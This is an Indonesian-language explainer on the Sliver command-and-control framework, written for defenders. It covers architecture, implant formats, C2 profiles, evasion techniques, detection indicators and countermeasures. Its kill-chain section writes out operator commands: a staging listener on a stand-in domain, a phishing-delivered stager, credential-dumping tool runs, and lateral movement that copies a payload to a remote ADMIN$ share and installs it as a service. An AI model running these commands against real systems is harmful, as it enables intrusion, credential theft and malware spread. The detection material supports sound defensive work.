Konteks Etis & Legal

Sliver adalah framework C2 open-source untuk adversary emulation, red teaming, dan penetration testing. Seluruh informasi berasal dari dokumentasi publik, kode sumber terbuka, serta analisis komunitas keamanan. Pembahasan ini edukasional dan defensif. Penggunaan tanpa izin terhadap sistem yang bukan milik sendiri melanggar hukum. Tujuan dokumen ini adalah membekali defender dengan pengetahuan mendalam untuk deteksi dan mitigasi ancaman berbasis Sliver.


🧬 Apa Itu Sliver?

Sliver adalah Command & Control (C2) framework open-source yang dikembangkan oleh Bishop Fox dan dirilis pada 2020. Tidak seperti Empire (PowerShell-heavy) atau Havoc (Windows-only), Sliver dirancang cross-platform dari awal: mendukung implant untuk Windows, Linux, dan macOS. Sliver ditulis sepenuhnya dalam Go, menghasilkan implant yang dikompilasi secara statis β€” tidak memerlukan dependensi runtime seperti .NET atau PowerShell.

Sliver diposisikan sebagai alternatif modern untuk Cobalt Strike, dengan fokus pada:

  • Multi-user server dengan dukungan gRPC.
  • Implant generation otomatis dengan berbagai format (EXE, DLL, shellcode, shared library).
  • Malleable C2 profiles (HTTP/S, DNS, TCP, WireGuard, MTLS).
  • Pivoting dan lateral movement yang terintegrasi.
  • Operator extensibility melalui API gRPC dan scripting (Python/JavaScript).

Perbandingan Sliver dalam Ekosistem C2

FiturSliverCobalt StrikeHavocEmpire
Cross-platform implantβœ… Windows, Linux, macOS❌ Windows only (native)βœ… Windows (via Demon)βœ… Windows, Linux, macOS (via Python agent)
Bahasa implantGoC/ASMC/ASMPowerShell/Python/C#
GUI❌ (CLI only)βœ…βœ…βœ… (Starkiller)
Multi-userβœ… (gRPC)βœ… (Team Server)βœ…βœ…
Sleep obfuscation❌ (opsional via ekstensi)βœ… (UDRL)βœ… (Kokkini)❌
Indirect syscalls❌ (opsional via ekstensi)βœ… (BOF)βœ…βŒ
Malleable C2βœ… (basic profiles)βœ… (sangat fleksibel)βœ… (JSON profiles)❌
WireGuard C2βœ… (unik)❌❌❌
Open sourceβœ… (GPLv3)❌ (berbayar)βœ…βœ…
HargaGratis$3.500+/thnGratisGratis

πŸ—οΈ Arsitektur Sliver

Sliver menggunakan arsitektur client-server berbasis gRPC (bukan REST atau TCP proprietary). Ini memberikan keunggulan performa tinggi dan ekstensibilitas.

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚               Sliver Client (CLI)                             β”‚
β”‚  - sliver-client (Go binary, cross-platform)                 β”‚
β”‚  - Koneksi ke server via gRPC over TLS (port 31337 default)   β”‚
β”‚  - Operator authentication: certificate-based (mTLS)          β”‚
β”‚  - Scripting: JavaScript/Python via sliver-script             β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                            β”‚ (gRPC over mTLS)
                            β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚               Sliver Server (Go)                              β”‚
β”‚  - Mendengarkan koneksi operator (gRPC) dan implant (C2)      β”‚
β”‚  - Database implant & operator (SQLite)                       β”‚
β”‚  - Generasi implant otomatis (compile-time)                   β”‚
β”‚  - Multi-operator dengan role-based access control            β”‚
β”‚  - Modul ekstensi (armory) untuk menambah kemampuan            β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                            β”‚ (HTTP/S, DNS, MTLS, WireGuard, TCP)
                            β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚               Implant (Go binary)                             β”‚
β”‚  - Windows, Linux, macOS native                               β”‚
β”‚  - Statically compiled (tidak butuh runtime)                  β”‚
β”‚  - Mendukung: session, beacon, pivot, shellcode               β”‚
β”‚  - Komunikasi terenkripsi (AES-256 / XChaCha20)                β”‚
β”‚  - Fitur: shell, execute, upload/download, portfwd, pivoting  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Multi-User & Role-Based Access

Sliver mendukung multi-operator dengan autentikasi sertifikat (mTLS). Setiap operator memiliki sertifikat client yang unik. Role-based access memungkinkan administrator membatasi operator ke implant tertentu (prinsip need-to-know). Semua aktivitas operator di-log oleh server.

Armory: Ekosistem Ekstensi

Sliver memiliki Armory, repositori ekstensi resmi dan komunitas yang memungkinkan operator menginstal:

  • BOF (Beacon Object Files) loader: memungkinkan eksekusi BOF dari dalam implant Sliver.
  • Sleep mask extensions: untuk menambahkan sleep obfuscation.
  • Lateral movement tools: SharpSCCM, Kerberoast, dll.
  • Evasion extensions: indirect syscall, unhooking ntdll.

Ini membuat Sliver modular: fitur yang tidak ada di core bisa ditambahkan via armory.


🦠 Implant Sliver: Jenis, Format, dan Kemampuan

Sliver menyebut implant sebagai β€œsliver”. Ada beberapa jenis implant:

1. Session

  • Koneksi real-time, mirip dengan Meterpreter atau Beacon interaktif.
  • Mendukung perintah interaktif: shell, execute, upload, download, screenshot.
  • Cocok untuk tahap post-exploitation langsung.

2. Beacon

  • Koneksi non-real-time; implant check-in secara periodik, mengambil task, mengirim hasil, lalu tidur.
  • Dikonfigurasi dengan --evasive untuk stealth (meniru traffic normal).
  • Mendukung jitter untuk menghindari deteksi interval tetap.
  • Operasi asinkron: task dikirim ke implant, implant mengeksekusi saat check-in berikutnya.

3. Pivot

  • Implant yang meneruskan traffic ke jaringan internal yang tidak bisa diakses operator.
  • Mendukung SMB pivoting (Named Pipe), TCP pivoting, dan WireGuard pivoting.
  • Dapat dirantai (multi-hop).

Format Output

Sliver dapat menghasilkan implant dalam berbagai format:

FormatTargetKeterangan
Executable (.exe)WindowsBinary standar.
Shared Library (.dll)WindowsUntuk sideloading atau rundll32.
Shellcode (.bin)Windows/LinuxUntuk injeksi via exploit atau makro.
Service ExecutableWindowsBerjalan sebagai service.
ELF BinaryLinuxExecutable Linux.
Mach-O BinarymacOSExecutable macOS.
.so / .dylibLinux/macOSShared library.

Stager (Opsional)

Sliver mendukung stager: payload kecil yang mengunduh implant penuh dari server. Stager bisa dalam bentuk:

  • Shellcode (Windows)
  • PowerShell one-liner
  • Python script
  • VBA macro
  • JavaScript (untuk phishing)

Profil stager dikonfigurasi via profiles dan stage-protocols.


πŸ“œ Sliver C2 Profiles: Malleable C2 ala Sliver

Sliver mendukung β€œC2 profiles” untuk menyesuaikan komunikasi implant. Meskipun tidak sefleksibel Malleable C2 Cobalt Strike, profil Sliver cukup untuk meniru traffic umum.

Profil HTTP/S

# Buat profil HTTP baru
sliver > profiles new -b http://10.0.0.1 --format exe --arch amd64 --os windows --evasive http-profile
 
# Konfigurasi detail implant (beacon, jitter, user-agent, headers)
sliver > profiles beacon -b http://10.0.0.1 --uri-path "/api/v1/status" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... Chrome/120.0" --header "X-Request-ID: 12345" --seconds 60 --jitter 30

Parameter yang dapat dikonfigurasi:

  • --uri-path: URI untuk check-in (GET) dan data kirim (POST).
  • --user-agent: User-Agent string.
  • --header: Header kustom tambahan.
  • --evasive: Menggunakan metode komunikasi yang lebih stealth (cookie-based session, random URI, dll.).
  • --seconds: Interval check-in.
  • --jitter: Variasi interval.

Profil MTLS (Mutual TLS)

Sliver mendukung komunikasi MTLS, di mana implant dan server saling mengautentikasi dengan sertifikat. Ini memberikan enkripsi kuat dan otentikasi, tetapi sertifikat kustom bisa meninggalkan jejak yang unik.

Profil DNS

Implant melakukan DNS lookup ke domain yang dikendalikan operator. Data dikirim via subdomain query (base64string.c2.domain.com). Lambat tetapi bisa mem-bypass firewall ketat yang hanya mengizinkan DNS keluar.

Profil WireGuard (Unik)

Ini adalah fitur unik Sliver: kemampuan menggunakan WireGuard VPN sebagai transport C2. Implant terhubung ke server WireGuard Sliver, menciptakan tunnel terenkripsi. Semua komunikasi C2 berjalan di dalam tunnel ini. Keunggulan:

  • Sangat sulit dibedakan dari traffic VPN biasa.
  • Port UDP standar WireGuard (51820).
  • Enkripsi modern (ChaCha20-Poly1305).

Profil TCP (P2P)

Untuk pivoting internal, implant dapat berkomunikasi langsung via TCP tanpa melalui server pusat. Ini memungkinkan operator mengontrol implant yang tidak memiliki akses internet.


βš”οΈ Kill Chain: Operasi Sliver dari Foothold ke Domain Admin

1. Delivery & Staging

Operator memulai dengan membuat listener dan profile:

sliver > http --lhost 10.0.0.1 --lport 443 --domain c2.example.com
sliver > profiles new --profile-name win-http-beacon --listener https --format exe --os windows --arch amd64
sliver > stage-listener --url https://c2.example.com --profile win-http-beacon

Stager (PowerShell one-liner) dikirim ke target via phishing. Stager mengunduh implant penuh dari https://c2.example.com/... dan mengeksekusinya di memori.

2. Initial Check-in

Implant menghubungi server, mengirim metadata (hostname, user, IP, OS, PID). Operator melihat sesi/beacon baru:

sliver > sessions
 ID   Name          Transport   Hostname      User                 OS
==== ============= =========== ============= ==================== =======
  1   IMPORTANT_BOX https        DESKTOP-ABC  ACME\jdoe             windows/amd64
 
sliver > use 1

3. Situational Awareness

sliver (IMPORTANT_BOX) > info          # Detail host
sliver (IMPORTANT_BOX) > whoami        # Current user
sliver (IMPORTANT_BOX) > ps            # Process list
sliver (IMPORTANT_BOX) > netstat       # Network connections
sliver (IMPORTANT_BOX) > ifconfig      # Interface & IP
sliver (IMPORTANT_BOX) > getprivs      # Privileges
sliver (IMPORTANT_BOX) > execute-assembly -a /path/to/SharpHound.exe  # Jalankan .NET assembly

4. Credential Dumping

sliver (IMPORTANT_BOX) > execute-assembly -a /path/to/Rubeus.exe    # Kerberoasting
sliver (IMPORTANT_BOX) > execute-assembly -a /path/to/Seatbelt.exe  # Enum host
sliver (IMPORTANT_BOX) > sharp-hashdump                             # (jika modul armory terinstal)

Sliver sendiri tidak memiliki Mimikatz built-in seperti Empire, tetapi dapat menjalankan Mimikatz via execute-assembly (Mimikatz.exe .NET) atau shellcode injection.

5. Lateral Movement

# Buat pivot ke jaringan internal
sliver (IMPORTANT_BOX) > pivot tcp --bind 0.0.0.0:4444
 
# Dari implant, jalankan lateral movement via WMI atau PsExec
sliver (IMPORTANT_BOX) > execute -c "cmd.exe /c net use \\10.0.1.10\ADMIN$ /user:DOMAIN\admin password"
sliver (IMPORTANT_BOX) > execute -c "cmd.exe /c copy c:\windows\temp\payload.exe \\10.0.1.10\ADMIN$"
sliver (IMPORTANT_BOX) > execute -c "cmd.exe /c sc \\10.0.1.10 create newService binPath= C:\Windows\payload.exe start= auto"

Atau menggunakan modul armory untuk lateral movement yang lebih otomatis.

6. Persistence

Sliver tidak memiliki modul persistence bawaan yang kuat, tetapi operator bisa:

  • Menjalankan scheduled task via execute.
  • Menginstal service Windows.
  • Menggunakan modul armory untuk WMI persistence.
  • Menyebarkan implant baru ke host lain.

πŸ›‘οΈ Teknik Evasion di Sliver

1. Evasive Beacon

Mode --evasive pada beacon mengubah perilaku komunikasi:

  • Menggunakan cookie untuk session tracking (mengurangi parameter URL).
  • URI random per check-in.
  • POST-based data exfiltration (bukan GET query string).
  • Gzip compression untuk payload.
  • Encryption: AES-CBC atau XChaCha20-Poly1305.

2. Implant Obfuscation (Go)

Karena implant dikompilasi dari Go, binary-nya relatif besar (7-12 MB) dan memiliki string yang dapat di-scan. Sliver mendukung:

  • Obfuscation via garble: Menggunakan garble Go obfuscator untuk mengaburkan nama simbol dan string.
  • UPX packing: Memadatkan binary untuk mengurangi ukuran dan mengubah signature.
  • Custom build tags: Menghilangkan fitur yang tidak perlu untuk mengurangi ukuran.

3. Traffic Mimicry

Dengan profil HTTP yang dikustomisasi, traffic Sliver dapat meniru aplikasi web sah. Namun, library TLS Go menghasilkan JA3 fingerprint yang berbeda dari browser umum (Go TLS stack vs Microsoft Schannel vs OpenSSL). Ini adalah kelemahan yang dapat dideteksi.

4. WireGuard Stealth

WireGuard C2 sangat sulit dideteksi karena terlihat seperti koneksi VPN sah. Namun, organisasi yang memonitor koneksi WireGuard keluar ke IP tidak dikenal bisa mencurigakan.

5. Modular Extensions via Armory

Armory memungkinkan penambahan teknik evasion modern:

  • Sleep mask: enkripsi implant di memori saat tidur.
  • Indirect syscalls: mem-bypass EDR hook.
  • Unhooking: memulihkan fungsi ntdll.dll yang di-hook.

πŸ” Deteksi Sliver

1. Deteksi Jaringan

  • JA3/JARM Fingerprint: Implant Sliver menggunakan Go TLS stack, yang menghasilkan JA3 fingerprint khas. Server Sliver (MTLS atau HTTPS) memiliki JARM yang dapat diidentifikasi. Database JA3 publik dapat digunakan untuk mencocokkan.
  • HTTP Pattern Analysis:
    • URI acak pada mode --evasive dapat terdeteksi dengan entropy analysis.
    • User-Agent default (Go-http-client/2.0 jika tidak diubah) adalah indikator kuat.
    • Header tidak standar yang dikonfigurasi operator bisa menjadi IOC.
  • Beaconing Detection: Interval check-in beacon dengan jitter masih dapat dideteksi dengan analisis statistik (RITA, AI-based NDR).
  • DNS Tunneling: Subdomain panjang dengan base64 adalah red flag. Monitor DNS query entropy dan volume.
  • WireGuard Detection: Traffic UDP ke port 51820 yang tidak sah. Monitor NetFlow untuk koneksi WireGuard ke IP eksternal yang tidak dikenal.

2. Deteksi Endpoint

  • Process Anomalies:
    • Process name: implant sering berganti nama menjadi proses sah (svchost.exe, explorer.exe).
    • Process hollowing / injection: Sliver sering diinjeksi ke proses lain. Sysmon Event ID 8 (CreateRemoteThread) dan Event ID 10 (ProcessAccess).
  • Binary Analysis:
    • Go binary memiliki struktur PE/ELF yang khas: banyak fungsi kecil, string unik (runtime, go, gopclntab).
    • YARA rules dapat menargetkan Go runtime signature atau string Sliver spesifik (seperti β€œsliver”, β€œtransport”, β€œbeacon”).
  • Memory Forensics:
    • Volatility dapat mendeteksi implant Go dari region memori dengan atribut PAGE_EXECUTE_READWRITE yang berisi signature Go.
    • String β€œsliver” atau β€œgrpc” di memori proses.
  • Sysmon Events:
    • Event ID 1 (Process Create): executable tidak dikenal dengan nama mencurigakan.
    • Event ID 11 (File Create): file di %TEMP% atau C:\Users\Public dengan ekstensi .exe baru.
    • Event ID 22 (DNS Query): query ke domain C2.

3. Artefak Spesifik Sliver

ArtefakDeteksi
Default User-AgentGo-http-client/2.0 atau Go-http-client/1.1 β€” blokir di proxy/WAF.
Default gRPC portServer Sliver mendengarkan di port 31337 untuk koneksi operator. Scan jaringan untuk port ini.
WireGuard default port51820 UDP ke IP tidak dikenal.
*SLIVER* environment variable_*Beberapa implant menggunakan environment variable dengan prefix SLIVER_ untuk konfigurasi.
Named Pipe (pivot)Nama pipe default mengandung β€œsliver”. Bisa diubah.
JARM hash serverServer Sliver memiliki JARM hash khas yang bisa di-scan (Shodan).

4. Threat Intelligence

Feed IOC untuk Sliver:

  • Server C2 publik yang ditemukan oleh peneliti.
  • JA3 hash implant default.
  • JARM hash server default.
  • Domain dan IP yang terkait dengan kampanye Sliver yang diketahui.

↔️ Dual-Use Spectrum

DEFENSE ◄──────────────────────────────────────────► OFFENSE

Red Team                   Penetration Tester       APT / Ransomware
β”‚                          β”‚                        β”‚
Simulasi dengan            Mengaudit                Menggunakan Sliver
implant cross-platform     keamanan Linux/          karena gratis,
untuk lingkungan           macOS di                 cross-platform,
heterogen                  enterprise               dan sulit dideteksi
β”‚                          β”‚                        β”‚
β”‚                          β”‚                        β–Ό
β–Ό                          β–Ό                        Operator ransomware
Purple team:               Bug bounty:              menyebar ke Linux
uji deteksi                verifikasi               server dan macOS
Sliver di lab              kerentanan               setelah kompromi
                            remote                  Windows awal

Sliver mendemokratisasi kemampuan C2 cross-platform yang dulunya hanya tersedia di framework komersial atau milik negara. Organisasi dengan lingkungan heterogen (Windows + Linux + macOS) harus mengasumsikan Sliver sebagai ancaman.


πŸ›‘οΈ Countermeasures Khusus Sliver

LapisanTindakan
PerimeterBlokir port 31337 (gRPC default). Monitor dan batasi koneksi WireGuard (UDP 51820) ke luar.
NetworkDeteksi JA3 fingerprint Go TLS stack. Blokir User-Agent Go-http-client. Analisis NetFlow untuk beaconing. DNS monitoring untuk tunneling.
EndpointYARA rules untuk Go binary signature. Monitor proses injection events. Deteksi environment variable SLIVER_*.
Application ControlWDAC atau AppLocker untuk membatasi eksekusi binary tidak dikenal.
Email/GatewayBlokir lampiran executable (.exe, .dll, .bin). Deteksi macro berbahaya dengan payload Go.
Threat IntelKonsumsi IOC Sliver dari komunitas dan vendor. Integrasikan ke SIEM.
ResponseJika terdeteksi: isolasi host, kumpulkan memory dump, analisis binary untuk konfigurasi C2, periksa pivot ke internal, reset credential.

πŸ”— Koneksi dalam Vault

  • cobalt-strike β€” Sliver adalah alternatif open-source yang mendukung cross-platform (Cobalt Strike hanya Windows). Banyak tim merah menggunakan Sliver sebagai secondary C2.
  • havoc-c2 β€” Sama-sama open-source, Havoc lebih unggul di sleep obfuscation dan indirect syscalls, tetapi Sliver unggul di cross-platform dan WireGuard.
  • empire β€” Empire fokus pada PowerShell; Sliver pada Go binary. Keduanya bisa digunakan paralel untuk target yang berbeda.
  • metasploit β€” Payload Sliver dapat dikirim melalui modul exploit Metasploit.
  • bloodhound β€” Sliver dapat menjalankan SharpHound (via execute-assembly) untuk mengumpulkan data AD.
  • shodan β€” Dapat digunakan untuk mencari server Sliver publik berdasarkan JARM atau port 31337.

πŸ“š Referensi

  • Bishop Fox. Sliver: Adversary Emulation Framework Documentation (2020-2024). https://github.com/BishopFox/sliver
  • SANS Institute. Adversary Emulation with Sliver (2023).
  • MITRE ATT&CK: T1071.001 (Web Protocols), T1095 (Non-Application Layer Protocol), T1573 (Encrypted Channel).
  • SpecterOps. Comparing C2 Frameworks: Sliver, Havoc, Empire, Cobalt Strike (2023).

Sliver Deep Dive | Cross-Platform C2 Framework | Adversary Emulation & Post-Exploitation